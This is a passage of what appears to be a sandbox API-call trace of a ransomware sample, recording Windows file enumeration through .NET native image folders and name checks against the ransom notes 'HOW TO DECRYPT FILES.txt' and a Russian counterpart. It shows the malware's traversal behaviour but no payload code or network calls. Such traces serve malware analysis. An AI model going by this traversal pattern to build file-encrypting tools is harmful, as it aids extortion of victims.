ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.916] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\*.*") returned="*.*" [0112.917] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\1820fd86357ea33153927f127e6c5d3f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2b76e308, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2b76e308, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2b76e308, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.918] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.918] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationClientsideProviders.ni.dll") returned -1 [0112.918] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationClientsideProviders.ni.dll") returned -1 [0112.918] lstrcmpiA (lpString1="", lpString2="UIAutomationClientsideProviders.ni.dll") returned -1 [0112.918] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\1820fd86357ea33153927f127e6c5d3f\\*.*") returned="*.*" [0112.918] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\1820fd86357ea33153927f127e6c5d3f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\1820fd86357ea33153927f127e6c5d3f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\1820fd86357ea33153927f127e6c5d3f\\" [0112.918] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\1820fd86357ea33153927f127e6c5d3f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationClients#\\1820fd86357ea33153927f127e6c5d3f\\") returned="" [0112.922] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.922] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f4b3b7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f4b3b7f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f4b3b7f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.922] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\*.*") returned="*.*" [0112.922] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\0445defa66af3e3548dd3052e8752079\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f4b3b7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f4b3b7f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f4b3b7f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.923] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.923] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationProvider.ni.dll") returned -1 [0112.923] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationProvider.ni.dll") returned -1 [0112.923] lstrcmpiA (lpString1="", lpString2="UIAutomationProvider.ni.dll") returned -1 [0112.923] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\0445defa66af3e3548dd3052e8752079\\*.*") returned="*.*" [0112.923] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\0445defa66af3e3548dd3052e8752079\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\0445defa66af3e3548dd3052e8752079\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\0445defa66af3e3548dd3052e8752079\\" [0112.923] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\0445defa66af3e3548dd3052e8752079\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationProvider\\0445defa66af3e3548dd3052e8752079\\") returned="" [0112.924] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.924] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f6ef024, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f6ef024, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f6ef024, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.925] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\*.*") returned="*.*" [0112.925] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\69e6acc80dfb71c3ebeac12584ea008c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f6ef024, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6f6ef024, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6f6ef024, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.927] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.927] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="UIAutomationTypes.ni.dll") returned -1 [0112.927] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="UIAutomationTypes.ni.dll") returned -1 [0112.927] lstrcmpiA (lpString1="", lpString2="UIAutomationTypes.ni.dll") returned -1 [0112.927] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\69e6acc80dfb71c3ebeac12584ea008c\\*.*") returned="*.*" [0112.927] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\69e6acc80dfb71c3ebeac12584ea008c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\69e6acc80dfb71c3ebeac12584ea008c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\69e6acc80dfb71c3ebeac12584ea008c\\" [0112.927] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\69e6acc80dfb71c3ebeac12584ea008c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\UIAutomationTypes\\69e6acc80dfb71c3ebeac12584ea008c\\") returned="" [0112.928] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.928] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x623ace1e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x623d2f7f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x623d2f7f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.929] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\*.*") returned="*.*" [0112.929] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\40864f42b00635e6fa6ce8da88d9ab83\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x623d2f7f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x623d2f7f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x623d2f7f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.929] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.929] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsBase.ni.dll") returned -1 [0112.929] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsBase.ni.dll") returned -1 [0112.929] lstrcmpiA (lpString1="", lpString2="WindowsBase.ni.dll") returned -1 [0112.929] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\40864f42b00635e6fa6ce8da88d9ab83\\*.*") returned="*.*" [0112.929] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\40864f42b00635e6fa6ce8da88d9ab83\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\40864f42b00635e6fa6ce8da88d9ab83\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\40864f42b00635e6fa6ce8da88d9ab83\\" [0112.929] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\40864f42b00635e6fa6ce8da88d9ab83\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsBase\\40864f42b00635e6fa6ce8da88d9ab83\\") returned="" [0112.931] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.931] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2be6c3b5, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2be6c3b5, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2be6c3b5, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.931] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\*.*") returned="*.*" [0112.931] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\0cb1830849e0ce11c8985339523d5b63\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2be6c3b5, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2be6c3b5, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2be6c3b5, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.932] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.932] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WindowsFormsIntegration.ni.dll") returned -1 [0112.932] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WindowsFormsIntegration.ni.dll") returned -1 [0112.932] lstrcmpiA (lpString1="", lpString2="WindowsFormsIntegration.ni.dll") returned -1 [0112.933] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\0cb1830849e0ce11c8985339523d5b63\\*.*") returned="*.*" [0112.933] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\0cb1830849e0ce11c8985339523d5b63\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\0cb1830849e0ce11c8985339523d5b63\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\0cb1830849e0ce11c8985339523d5b63\\" [0112.933] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\0cb1830849e0ce11c8985339523d5b63\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WindowsFormsIntegra#\\0cb1830849e0ce11c8985339523d5b63\\") returned="" [0112.934] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.934] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9bc90d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdf9bc90d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdf9bc90d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.935] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\*.*") returned="*.*" [0112.935] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\36ca2928b2191011831ab673861c6ac6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf9bc90d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xdf9bc90d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xdf9bc90d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.935] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.935] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="WsatConfig.ni.exe") returned -1 [0112.935] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="WsatConfig.ni.exe") returned -1 [0112.935] lstrcmpiA (lpString1="", lpString2="WsatConfig.ni.exe") returned -1 [0112.935] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\36ca2928b2191011831ab673861c6ac6\\*.*") returned="*.*" [0112.935] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\36ca2928b2191011831ab673861c6ac6\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\36ca2928b2191011831ab673861c6ac6\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\36ca2928b2191011831ab673861c6ac6\\" [0112.935] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\36ca2928b2191011831ab673861c6ac6\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\WsatConfig\\36ca2928b2191011831ab673861c6ac6\\") returned="" [0112.937] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\*.*") returned="*.*" [0112.937] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd111920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x57cefcc0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x57cefcc0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x730057, dwReserved1=0x740061, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0112.940] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\*.*") returned="*.*" [0112.940] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Accessibility\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x815d680, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1fb6de0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1fb6de0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.942] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Accessibility\\*.*") returned="*.*" [0112.942] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Accessibility\\2b247e9dbf33e288f48c4d0574d2c7df\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa56b8c40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa56deda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa56deda0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.943] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.943] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Accessibility.ni.dll") returned 1 [0112.943] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Accessibility.ni.dll") returned 1 [0112.943] lstrcmpiA (lpString1="", lpString2="Accessibility.ni.dll") returned -1 [0112.946] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.946] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Accessibility.ni.dll.aux") returned 1 [0112.946] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Accessibility.ni.dll.aux") returned 1 [0112.946] lstrcmpiA (lpString1="", lpString2="Accessibility.ni.dll.aux") returned -1 [0112.947] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\AspNetMMCExt\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80c0230, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf80c0230, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xf80c0230, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.948] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\AspNetMMCExt\\3af681eacdd7e0dd4d84017771b00c39\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80c0230, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf80e6390, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xf80e6390, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.949] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.949] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AspNetMMCExt.ni.dll") returned 1 [0112.949] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AspNetMMCExt.ni.dll") returned 1 [0112.949] lstrcmpiA (lpString1="", lpString2="AspNetMMCExt.ni.dll") returned -1 [0112.953] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.953] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AspNetMMCExt.ni.dll.aux") returned 1 [0112.953] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AspNetMMCExt.ni.dll.aux") returned 1 [0112.953] lstrcmpiA (lpString1="", lpString2="AspNetMMCExt.ni.dll.aux") returned -1 [0112.953] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\ComSvcConfig\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8d8b870, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf8d8b870, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xf8d8b870, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.954] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\ComSvcConfig\\0441adebf5f6cc0d82652240a999db0c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8d8b870, ftCreationTime.dwHighDateTime=0x1d2faef, ftLastAccessTime.dwLowDateTime=0xf8d8b870, ftLastAccessTime.dwHighDateTime=0x1d2faef, ftLastWriteTime.dwLowDateTime=0xf8d8b870, ftLastWriteTime.dwHighDateTime=0x1d2faef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.954] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.954] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ComSvcConfig.ni.exe") returned 1 [0112.954] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ComSvcConfig.ni.exe") returned 1 [0112.954] lstrcmpiA (lpString1="", lpString2="ComSvcConfig.ni.exe") returned -1 [0112.958] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.958] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ComSvcConfig.ni.exe.aux") returned 1 [0112.958] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ComSvcConfig.ni.exe.aux") returned 1 [0112.958] lstrcmpiA (lpString1="", lpString2="ComSvcConfig.ni.exe.aux") returned -1 [0112.958] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\CustomMarshalers\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8268020, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb135dbc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb135dbc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.960] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\CustomMarshalers\\24e93e2156e96927b5a0c88d9e8e1a57\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa06fab40, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa06fab40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa06fab40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 